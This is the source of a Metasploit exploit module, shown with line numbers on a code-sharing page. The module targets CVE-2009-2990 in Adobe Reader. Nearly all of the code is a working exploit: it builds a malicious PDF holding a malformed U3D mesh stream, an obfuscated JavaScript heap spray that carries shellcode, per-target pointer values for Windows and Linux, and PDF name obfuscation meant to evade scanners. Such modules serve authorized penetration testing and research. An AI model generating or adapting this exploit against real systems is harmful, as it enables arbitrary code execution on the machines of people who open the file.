Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/multi/fileformat/adobe_u3d_meshcont.rb
32698 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
require 'zlib'
7
8
class MetasploitModule < Msf::Exploit::Remote
9
Rank = GoodRanking
10
11
include Msf::Exploit::FILEFORMAT
12
13
def initialize(info = {})
14
super(
15
update_info(
16
info,
17
'Name' => 'Adobe U3D CLODProgressiveMeshDeclaration Array Overrun',
18
'Description' => %q{
19
This module exploits an array overflow in Adobe Reader and Adobe Acrobat.
20
Affected versions include < 7.1.4, < 8.1.7, and < 9.2. By creating a
21
specially crafted pdf that a contains malformed U3D data, an attacker may
22
be able to execute arbitrary code.
23
},
24
'License' => MSF_LICENSE,
25
'Author' => [
26
'Felipe Andres Manzano <felipe.andres.manzano[at]gmail.com>',
27
'jduck'
28
],
29
'References' => [
30
[ 'CVE', '2009-2990' ],
31
[ 'OSVDB', '58920' ],
32
[ 'BID', '36665' ],
33
[ 'URL', 'http://sites.google.com/site/felipeandresmanzano/' ],
34
[ 'URL', 'http://www.adobe.com/support/security/bulletins/apsb09-15.html' ]
35
],
36
'DefaultOptions' => {
37
'EXITFUNC' => 'process'
38
},
39
'Payload' => {
40
'Space' => 1024,
41
'BadChars' => "\x00",
42
'DisableNops' => true
43
},
44
'Targets' => [
45
# test results (on Windows XP SP3)
46
# reader 7.0.5 - untested
47
# reader 7.0.8 - untested
48
# reader 7.0.9 - untested
49
# reader 7.1.0 - untested
50
# reader 7.1.1 - untested
51
# reader 8.0.0 - untested
52
# reader 8.1.2 - works
53
# reader 8.1.3 - works
54
# reader 8.1.4 - untested
55
# reader 8.1.5 - untested
56
# reader 8.1.6 - untested
57
# reader 9.0.0 - untested
58
# reader 9.1.0 - works
59
[
60
'Adobe Reader Windows Universal (JS Heap Spray)',
61
{
62
'Index' => 0x01d10000,
63
'Platform' => 'win',
64
'Arch' => ARCH_X86,
65
'escA' => 0x0f0f0f0f,
66
'escB' => 0x16161616,
67
'escC' => 0x1c1c1c1c
68
}
69
],
70
71
# untested
72
[
73
'Adobe Reader Linux Universal (JS Heap Spray)',
74
{
75
'Index' => 0xfffffe3c,
76
'Platform' => 'linux',
77
'Arch' => ARCH_X86,
78
'escA' => 0x75797959,
79
'escB' => 0xa2a2a2a2,
80
'escC' => 0x9c9c9c9c
81
}
82
]
83
],
84
'DisclosureDate' => '2009-10-13',
85
'DefaultTarget' => 0,
86
'Notes' => {
87
'Reliability' => UNKNOWN_RELIABILITY,
88
'Stability' => UNKNOWN_STABILITY,
89
'SideEffects' => UNKNOWN_SIDE_EFFECTS
90
}
91
)
92
)
93
94
register_options(
95
[
96
OptString.new('FILENAME', [ true, 'The file name.', 'msf.pdf']),
97
]
98
)
99
end
100
101
def exploit
102
# Encode the shellcode.
103
shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
104
105
# Make some nops
106
nops = Rex::Text.to_unescape(make_nops(4))
107
108
# prepare the pointers!
109
ptrA = Rex::Text.to_unescape([target['escA']].pack('V'), Rex::Arch.endian(target.arch))
110
ptrB = Rex::Text.to_unescape([target['escB']].pack('V'), Rex::Arch.endian(target.arch))
111
ptrC = Rex::Text.to_unescape([target['escC']].pack('V'), Rex::Arch.endian(target.arch))
112
113
script = <<~EOF
114
var nopz = unescape("#{nops}");
115
function mkSlice(stringy,size,rest){
116
while (stringy.length <= size/2)
117
stringy += stringy;
118
stringy = stringy.substring(0, size/2 -32/2 -4/2 - rest -2/2);
119
return stringy;
120
};
121
122
function spray(escA,escB,escC,escShellcode){
123
var loop1;
124
var pointersA = unescape(escA);
125
var pointersB = unescape(escB);
126
var pointersC = unescape(escC);
127
var shellcode = unescape(escShellcode);
128
129
pointersA_slide=mkSlice(pointersA,0x100000, pointersA.length);
130
pointersB_slide=mkSlice(pointersB,0x100000, pointersB.length);
131
pointersC_slide=mkSlice(pointersC,0x100000, pointersC.length);
132
nop_slide = mkSlice(nopz,0x100000, shellcode.length);
133
var xarr = new Array();
134
for (loop1 = 0; loop1 < 400; loop1++) {
135
if(loop1<100)
136
xarr[loop1] = pointersA_slide+pointersA;
137
else if(loop1<200)
138
xarr[loop1] = pointersB_slide+pointersB;
139
else if(loop1<300)
140
xarr[loop1] = pointersC_slide+pointersC;
141
else
142
xarr[loop1] = nop_slide+shellcode;
143
}
144
return xarr;
145
};
146
var memoryz = spray("#{ptrA}","#{ptrB}","#{ptrC}","#{shellcode}");
147
this.pageNum = 1;
148
EOF
149
150
# Obfuscate it up a bit
151
script = obfuscate_js(script,
152
'Symbols' => {
153
'Variables' => %w[pointersA_slide pointersA escA pointersB_slide pointersB escB pointersC_slide pointersC escC escShellcode nop_slide shellcode stringy size rest nopz loop1 xarr memoryz],
154
'Methods' => %w[mkSlice spray]
155
}).to_s
156
157
# create the u3d stuff
158
u3d = make_u3d_stream(target['Index'], 'E' * 11)
159
160
# Create the pdf
161
pdf = make_pdf(script, u3d)
162
163
print_status("Creating '#{datastore['FILENAME']}' file...")
164
165
file_create(pdf)
166
end
167
168
def obfuscate_js(javascript, opts)
169
js = Rex::Exploitation::ObfuscateJS.new(javascript, opts)
170
js.obfuscate
171
return js
172
end
173
174
def random_non_ascii_string(count)
175
result = ''
176
count.times do
177
result << (rand(128..255)).chr
178
end
179
result
180
end
181
182
def io_def(id)
183
"%d 0 obj\n" % id
184
end
185
186
def io_ref(id)
187
'%d 0 R' % id
188
end
189
190
# http://blog.didierstevens.com/2008/04/29/pdf-let-me-count-the-ways/
191
def n_obfu(str)
192
result = ''
193
str.scan(/./u) do |c|
194
if rand(2) == 0 and c.upcase >= 'A' and c.upcase <= 'Z'
195
result << '#%x' % c.unpack('C*')[0]
196
else
197
result << c
198
end
199
end
200
result
201
end
202
203
def ascii_hex_whitespace_encode(str)
204
result = ''
205
whitespace = ''
206
str.each_byte do |b|
207
result << whitespace << '%02x' % b
208
whitespace = ' ' * (rand(1..3))
209
end
210
result << '>'
211
end
212
213
def u3d_pad(str, char = "\x00")
214
ret = ''
215
if (str.length % 4) > 0
216
ret << char * (4 - (str.length % 4))
217
end
218
return ret
219
end
220
221
def make_u3d_stream(index, meshname)
222
# build the U3D header (length will be patched in later)
223
hdr_data = [1, 0].pack('n*') # version info
224
hdr_data << [0, 0x24, 31337, 0, 0x6a].pack('VVVVV')
225
hdr = "U3D\x00"
226
hdr << [hdr_data.length, 0].pack('VV')
227
hdr << hdr_data
228
229
# mesh declaration
230
decl_data = [meshname.length].pack('v')
231
decl_data << meshname
232
decl_data << [0].pack('V') # chain idx
233
# max mesh desc
234
decl_data << [0].pack('V') # mesh attrs
235
decl_data << [0xc322].pack('V') # face count
236
decl_data << [0x6226].pack('V') # position count
237
decl_data << [0x24966].pack('V') # normal count
238
decl_data << [0].pack('V') # diffuse color count
239
decl_data << [0].pack('V') # specular color count
240
decl_data << [0].pack('V') # texture coord count
241
decl_data << [1].pack('V') # shading count
242
# shading desc
243
decl_data << [0].pack('V') # shading attr
244
decl_data << [1].pack('V') # texture layer count
245
decl_data << [0].pack('V') # texture coord dimensions
246
decl_data << [0].pack('V') # original shading id
247
# minimum resolution
248
decl_data << [0x6226].pack('V') # final maximum resolution (needs to be bigger than the minimum)
249
# quality factors
250
decl_data << [0x12c].pack('V') # position quality factor
251
decl_data << [0x12c].pack('V') # normal quality factor
252
decl_data << [0x12c].pack('V') # texture coord quality factor
253
# inverse quantiziation
254
decl_data << [0x3f0b1e6c].pack('V') # position inverse quant
255
decl_data << [0x3b6f05a6].pack('V') # normal inverse quant
256
decl_data << [0x3b6f05a6].pack('V') # texture coord inverse quant
257
decl_data << [0x3c2df54a].pack('V') # diffuse color inverse quant
258
decl_data << [0x3c2df54a].pack('V') # specular color inverse quant
259
# resource params
260
decl_data << [0x3f666666].pack('V') # normal crease param
261
decl_data << [0x3f000000].pack('V') # normal update param
262
decl_data << [0x3f7c28f6].pack('V') # normal tolerance param
263
# skeleton description
264
decl_data << [0].pack('V') # bone count
265
# padding
266
mesh_decl = [0xffffff31, decl_data.length, 0].pack('VVV')
267
mesh_decl << decl_data
268
mesh_decl << u3d_pad(decl_data)
269
270
# build the modifier chain
271
chain_data = [meshname.length].pack('v')
272
chain_data << meshname
273
chain_data << [1].pack('V') # type (model resource)
274
chain_data << [0].pack('V') # attributes (no bounding info)
275
chain_data << u3d_pad(chain_data)
276
chain_data << [1].pack('V') # number of modifiers
277
chain_data << mesh_decl
278
modifier_chain = [0xffffff14, chain_data.length, 0].pack('VVV')
279
modifier_chain << chain_data
280
281
# mesh continuation
282
cont_data = [meshname.length].pack('v')
283
cont_data << meshname
284
cont_data << [0].pack('V') # chain idx
285
cont_data << [0].pack('V') # start resolution
286
cont_data << [0x1000].pack('V') # end resolution
287
# 4096 continuation blocks
288
cont_data << [index].pack('V') # split position index
289
cont_data << [0].pack('v') # new diffuse color count
290
cont_data << [0].pack('v') # new specular color count
291
cont_data << [0].pack('v') # new text coord count
292
cont_data << [0].pack('V') # new face count
293
# unknown data
294
cont_data << "\x07\x9c\x00\x00\x00\x37\x0c\x00\x00\xd0\x02\x00\x00\x3f\xeb\x95\x0d\x00\x00\x76"
295
cont_data << "\x05\x00\x00\xea\x15\x00\x00\xe2\x02\x00\x00\x00\x00\x00\x00\x80\x82\x22\x8e\x2f"
296
cont_data << "\xaa\x00\x00\x00\xc2\x13\x23\x00\x20\xbb\x06\x00\x80\xc2\x1f\x00\x80\x20\x00\x00"
297
cont_data << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xc0\x14\x01\x00\x20\x44"
298
cont_data << "\x0a\x00\x10\x7e\x4b\x8d\xf8\x7c\x32\x6d\x03\x00\x00\xb2\x0b\x00\x20\xfd\x19\x00"
299
cont_data << "\x20\xb6\xe9\xea\x2e\x55\x00\x00\x59\x94\x00\x00\x4c\x00\x01\x00\x1a\xbb\xa0\xc8"
300
cont_data << "\xc1\x04\x00\x70\xc4\xa0\x00\x00\x00\x6c\x98\x46\xac\x04\x00\x60\xf6\x1c\x00\x20"
301
cont_data << "\xa1\x0f\x00\xa0\x17\x66\x23\x00\x00\xde\x88\x1d\x00\x00\x7b\x16\x9f\x72\x9a\x1d"
302
cont_data << "\x15\x00\x80\xeb\x39\x00\x00\x00\x00\x00\x00\x94\xc8\x00\x00\x54\xce\xfb\x32\x00"
303
cont_data << "\x80\xc4\x3e\xb0\xc4\x88\xde\x77\x00\x00\x46\x72\x01\x00\xf0\x56\x01\x00\x8c\x53"
304
cont_data << "\xe9\x10\x9d\x6b\x06\x00"
305
cont_data << "\x50" # pad
306
mesh_cont = [0xffffff3c, cont_data.length, 0].pack('VVV')
307
mesh_cont << cont_data
308
# mesh_cont << u3d_pad(cont_data)
309
mesh_cont << "\xa2\x00" # manual padding
310
311
data = hdr
312
data << modifier_chain
313
data << mesh_cont
314
315
# patch the length
316
data[24, 4] = [0x2b680].pack('V') # hardcode the data length
317
318
if index == 0x01d10000
319
# laziest hack ever! Another index must be found for using the following
320
# stream in windows.. and a lot of tests shoul be done.
321
return data
322
end
323
324
# linux version
325
# build the U3D header (length will be patched in later)
326
hdr_data = [1, 0].pack('n*') # version info
327
hdr_data << [0, 0x24, 31337, 0, 0x6a].pack('VVVVV')
328
meta_str1 = 'alalala0'
329
meta_str2 = "\xa8" * 1024
330
hdr_meta = [1].pack('V')
331
hdr_meta << [meta_str1.length].pack('v')
332
hdr_meta << meta_str1
333
hdr_meta << [1].pack('V')
334
hdr_meta << [meta_str2.length].pack('V')
335
hdr_meta << meta_str2
336
hdr = "U3D\x00"
337
hdr << [hdr_data.length, hdr_meta.length].pack('VV')
338
hdr << hdr_data
339
hdr << hdr_meta
340
hdr << u3d_pad(hdr_meta)
341
342
# mesh declaration
343
decl_data = [meshname.length].pack('v')
344
decl_data << meshname
345
decl_data << [0].pack('V') # chain idx
346
# max mesh desc
347
decl_data << [0].pack('V') # mesh attrs
348
decl_data << [0xc322].pack('V') # face count
349
decl_data << [0x6626].pack('V') # position count
350
decl_data << [4].pack('V') # normal count
351
decl_data << [0].pack('V') # diffuse color count
352
decl_data << [0].pack('V') # specular color count
353
decl_data << [0].pack('V') # texture coord count
354
decl_data << [1].pack('V') # shading count
355
# shading desc
356
decl_data << [0].pack('V') # shading attr
357
decl_data << [0].pack('V') # texture layer count
358
decl_data << [0].pack('V') # original shading id
359
# no texture coord dimensions
360
decl_data << [0x64].pack('V') # minimum resolution
361
decl_data << [0x65].pack('V') # final maximum resolution (needs to be bigger than the minimum)
362
# quality factors
363
decl_data << [0x12c].pack('V') # position quality factor
364
decl_data << [0x12c].pack('V') # normal quality factor
365
decl_data << [0x12c].pack('V') # texture coord quality factor
366
# inverse quantiziation
367
decl_data << [0].pack('V') # position inverse quant
368
decl_data << [0].pack('V') # normal inverse quant
369
decl_data << [0].pack('V') # texture coord inverse quant
370
decl_data << [0].pack('V') # diffuse color inverse quant
371
decl_data << [0].pack('V') # specular color inverse quant
372
# resource params
373
decl_data << [0].pack('V') # normal crease param
374
decl_data << [0].pack('V') # normal update param
375
decl_data << [0].pack('V') # normal tolerance param
376
# skeleton description
377
decl_data << [0].pack('V') # bone count
378
# padding
379
mesh_decl = [0xffffff31, decl_data.length, 0].pack('VVV')
380
mesh_decl << decl_data
381
mesh_decl << u3d_pad(decl_data)
382
383
# build the modifier chain
384
chain_data = [meshname.length].pack('v')
385
chain_data << meshname
386
chain_data << [1].pack('V') # type (model resource)
387
chain_data << [0].pack('V') # attributes (no bounding info)
388
chain_data << u3d_pad(chain_data)
389
chain_data << [1].pack('V') # number of modifiers
390
chain_data << mesh_decl
391
modifier_chain = [0xffffff14, chain_data.length, 0].pack('VVV')
392
modifier_chain << chain_data
393
394
# mesh continuation
395
cont_data = [meshname.length].pack('v')
396
cont_data << meshname
397
cont_data << [0].pack('V') # chain idx
398
cont_data << [0].pack('V') # start resolution
399
cont_data << [0x100].pack('V') # end resolution
400
# 256 continuation blocks
401
cont_data << [index].pack('V') # split position index
402
# unknown data
403
cont_data << [1].pack('V') * 10
404
cont_data << 'Feli' * 20
405
mesh_cont = [0xffffff3c, cont_data.length, 0].pack('VVV')
406
mesh_cont << cont_data
407
mesh_cont << u3d_pad(cont_data)
408
409
data = hdr
410
data << modifier_chain
411
data << mesh_cont
412
413
# patch the length
414
data[24, 4] = [0x174].pack('V') # hardcode the data length
415
return data
416
end
417
418
def make_pdf(js, u3d_stream)
419
xref = []
420
eol = "\x0a"
421
obj_end = '' << eol << 'endobj' << eol
422
423
# the header
424
pdf = '%PDF-1.7' << eol
425
426
# filename/comment
427
pdf << '%' << random_non_ascii_string(4) << eol
428
429
# js stream
430
xref << pdf.length
431
compressed = Zlib::Deflate.deflate(ascii_hex_whitespace_encode(js))
432
pdf << io_def(1) << n_obfu('<</Length %s/Filter[/FlateDecode/ASCIIHexDecode]>>' % compressed.length) << eol
433
pdf << 'stream' << eol
434
pdf << compressed << eol
435
pdf << 'endstream' << eol
436
pdf << obj_end
437
438
# catalog
439
xref << pdf.length
440
pdf << io_def(3) << n_obfu('<</Type/Catalog/Outlines ') << io_ref(4)
441
pdf << n_obfu('/Pages ') << io_ref(5)
442
pdf << n_obfu('/OpenAction ') << io_ref(8)
443
pdf << n_obfu('>>')
444
pdf << obj_end
445
446
# outline
447
xref << pdf.length
448
pdf << io_def(4) << n_obfu('<</Type/Outlines/Count 0>>')
449
pdf << obj_end
450
451
# kids
452
xref << pdf.length
453
pdf << io_def(5) << n_obfu('<</Type/Pages/Count 2/Kids [')
454
pdf << io_ref(9) << ' ' # empty page
455
pdf << io_ref(10) # u3d page
456
pdf << n_obfu(']>>')
457
pdf << obj_end
458
459
# u3d stream
460
xref << pdf.length
461
pdf << io_def(6) << n_obfu('<</Type/3D/Subtype/U3D/Length %s>>' % u3d_stream.length) << eol
462
pdf << 'stream' << eol
463
pdf << u3d_stream << eol
464
pdf << 'endstream'
465
pdf << obj_end
466
467
# u3d annotation object
468
xref << pdf.length
469
pdf << io_def(7) << n_obfu('<</Type/Annot/Subtype')
470
pdf << '/3D/3DA <</A/PO/DIS/I>>'
471
pdf << n_obfu('/Rect [0 0 640 480]/3DD ') << io_ref(6) << n_obfu('/F 7>>')
472
pdf << obj_end
473
474
# js dict
475
xref << pdf.length
476
pdf << io_def(8) << n_obfu('<</Type/Action/S/JavaScript/JS ') + io_ref(1) + '>>' << obj_end
477
478
# page 0 (empty)
479
xref << pdf.length
480
pdf << io_def(9) << n_obfu('<</Type/Page/Parent ') << io_ref(5) << n_obfu('/MediaBox [0 0 640 480]')
481
pdf << n_obfu(' >>')
482
pdf << obj_end
483
484
# page 1 (u3d)
485
xref << pdf.length
486
pdf << io_def(10) << n_obfu('<</Type/Page/Parent ') << io_ref(5) << n_obfu('/MediaBox [0 0 640 480]')
487
pdf << n_obfu('/Annots [') << io_ref(7) << n_obfu(']')
488
pdf << n_obfu('>>')
489
pdf << obj_end
490
491
# xrefs
492
xrefPosition = pdf.length
493
pdf << 'xref' << eol
494
pdf << '0 %d' % (xref.length + 1) << eol
495
pdf << '0000000000 65535 f' << eol
496
xref.each do |index|
497
pdf << '%010d 00000 n' % index << eol
498
end
499
500
# trailer
501
pdf << 'trailer' << eol
502
pdf << n_obfu('<</Size %d/Root ' % (xref.length + 1)) << io_ref(3) << '>>' << eol
503
pdf << 'startxref' << eol
504
pdf << xrefPosition.to_s << eol
505
pdf << '%%EOF' << eol
506
end
507
end
508
509